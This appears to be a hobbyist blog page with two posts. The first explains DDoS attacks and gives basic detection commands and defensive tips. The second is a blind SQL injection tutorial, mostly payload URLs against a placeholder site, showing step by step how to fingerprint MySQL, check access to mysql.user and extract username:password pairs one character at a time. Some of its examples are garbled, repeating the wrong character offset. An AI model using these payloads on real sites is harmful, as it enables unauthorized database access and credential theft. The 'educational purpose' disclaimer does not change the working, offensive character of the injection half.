Understanding DDOS Attack !!!

What is DDos Attack ?


Compromised PCs, or “bots,” are formed into groups called “botnets” and are used as weapons by cyber-attackers to launch various forms of cyber attacks. These attacks range widely from DDoS to identity theft and clandestine intelligence gathering operations.
During Distributed Denial of Service attempts, attackers launch attacks using different techniques including HTTP, HTTPS, ICMP, SYN Floods, UDP Floods, DNS Request Floods, GET Floods, and others. The attack components are often used in combination, and range in size from a few hundred megabits per second (Mbps) to over 80 gigabits per second (Gbps). Increasingly sophisticated attacks are based around application requests at Layer-7.
Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher ie the person/machine behind all this,sound’s COOL right . The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.


How do they Do it ?


DDOS is done in 2 phases. In the first phase they try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.

What Allowed them to Do ?

Vulnerable softwares/Applications running on a machine or network.

Open network setup.

Network/ machine setup without taking security into account.

No monitoring or DataAnalysis are being conducted.

No regular Audit / Software upgrades being conducted.

First Identify if you are really under attack. If yes, follow the below steps :

Check if your machines load is high and you have large number of HTTP process running.

To find the load just use the command w or uptime -

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Eg:

ashish@localhost>w 12:00:36 up 1 day, 20:27, 5 users, load average: 0.70, 0.70, 0.57

USER XYZ FROM LOGIN@ IDLE JCPU PCPU WHAT

–

To find if there is large number of HTTP process running use the command ” ps -aux|grep HTTP|wc -l ”

–

Eg:

[ashish@localhost]# ps -aux|grep HTTP|wc -l

23

–

In a heavy server , the number of connection will go above 100. But during DDOS attack, the number will go even higher and thats when we need to find out from which all networks are these attacks coming. In DDOS the host machine doesn’t have much importance. Its the network which is of importance here because, an attacker will use any machine on the compromised network or even will use all the machines in the network. Hence network address is of importance while fighting with the attack.

However, there are some actions you can take to protect yourself. Here's some basic advice:

Ensure that you have adequate bandwidth on your Internet connection. You'll be able to foil many low-scale DDoS attacks by simply having enough bandwidth (and processing power) to service the requests.

Deploy an intrusion prevention system on your network. Some (but definitely not all) DDoS attacks have recognizable signatures that an IPS can detect and use to prevent the requests from reaching the Web server.

Use a DDoS prevention appliance, including any of the Cisco Systems Inc. Cisco Guard products, that is specifically designed to identify and thwart distributed denial-of-service attacks.

Maintain a backup Internet connection with a separate pool of IP addresses for critical users. While you won't be able to switch all access to your website over to a backup connection (the attacks will switch at the same time!), you can provide critical users with an alternate path to your site if the primary circuit is swamped with bogus requests.

These tips should get you started on the road toward building a hardy Web infrastructure with the highest probability of surviving a DDoS attack. Good luck!

Blind SQL Injection Tutorial !!!!!

Blind injection is a little more complicated the classic injection but it can be done :D 


It's some what hard but good to Learn 


1) http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack


2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true


and the page loads normally, that's ok.now the real test


3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false


so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :) 


1) Get the MySQL version


to get the version in blind attack we use substring 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4


this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5. 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


2) Test if subselect works 
when select don't work then we use subselect 
i.e
http://www.site.com/news.php?id=5 and (select 1)=1 


if page loads normally then subselects work.then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1


if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.


3). Check table and column names.This is part when guessing is the best friend for Hacker ...
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)


then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)


let's say that we have found that table name is users, now what we need is column name. 
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1


if the page loads normally we know that column name is password (if we get false then try common names or just guess) 
here we merge 1 with the column password, then substring returns the first character (,1,1)




4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok this here pulls the first character from first user in table users. 
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .
 so if the ascii char greater then 80, the page loads normally. (TRUE)
 we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE again, higher


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!


so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.


then let's check the second character.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, the page loads normally, higher.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, lower number.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, higher.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105


FALSE!!!


we know that the second character is char(105) and that is 'i'. We have 'ci' so far
 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
 There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
 cause that makes you better SQL INJECTOR :D


NOTE: This is just for Educational Purpose.